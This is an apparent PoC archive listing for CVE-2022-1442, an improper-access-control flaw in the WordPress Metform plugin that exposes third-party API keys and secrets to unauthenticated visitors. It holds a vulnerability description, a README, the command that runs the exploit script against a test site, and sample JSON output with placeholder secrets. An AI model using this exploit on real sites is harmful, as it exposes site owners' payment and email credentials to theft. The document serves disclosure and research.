CVE-2022-1442 PoC — WordPress plugin Metform 安全漏洞

Source

https://github.com/RandomRobbieBF/CVE-2022-1442

Associated Vulnerability

Title:WordPress plugin Metform 安全漏洞 (CVE-2022-1442)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Metform存在安全漏洞，该漏洞源于~/core/forms/action.php文件存在访问控制不当。

Description

WordPress Plugin Metform <= 2.1.3 - Improper Access Control Allowing Unauthenticated Sensitive Information Disclosure

Readme

# CVE-2022-1442
WordPress Plugin Metform &lt;= 2.1.3 - Improper Access Control Allowing Unauthenticated Sensitive Information Disclosure

# Description
The is vulnerable to sensitive information disclosure due to improper access control in the ~/core/forms/action.php file which can be exploited by an unauthenticated attacker to view all API keys and secrets of integrated third-party APIs such as PayPal, Stripe, Mailchimp, Hubspot, HelpScout, reCAPTCHA etc.

POC
---
```
 bash metform.sh http://wordpress.lan
{
  "form_title": "New Form # 1691056894",
  "success_message": "Thank you! Form submitted successfully.",
  "capture_user_browser_data": "1",
  "store_entries": "1",
  "entry_title": "Entry # [mf_id]",
  "count_views": "1",
  "redirect_to": "",
  "user_email_subject": "",
  "user_email_from": "",
  "user_email_reply_to": "",
  "user_email_body": "",
  "admin_email_subject": "",
  "admin_email_to": "",
  "admin_email_from": "",
  "admin_email_reply_to": "",
  "admin_email_body": "",
  "mf_mailchimp_list_id": "",
  "mf_slack_webhook": "",
  "mf_recaptcha_version": "recaptcha-v2",
  "mf_recaptcha_site_key": "sfsdffd",
  "mf_recaptcha_secret_key": "sfddsf",
  "mf_recaptcha_site_key_v3": "",
  "mf_recaptcha_secret_key_v3": "",
  "mf_mailchimp_api_key": "asdadasdsaddas",
  "input_names": "Example: [mf-inputname]",
  "ckit_opt": [],
  "aweber_opt": [],
  "mp_opt": []
}
```

File Snapshot


 [4.0K]  /data/pocs/077bdb6186c4119b3b1d94e38d1bcbbdf7a5214f
├── [ 11K]  LICENSE
├── [ 786]  metform.sh
└── [1.4K]  README.md

0 directories, 3 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!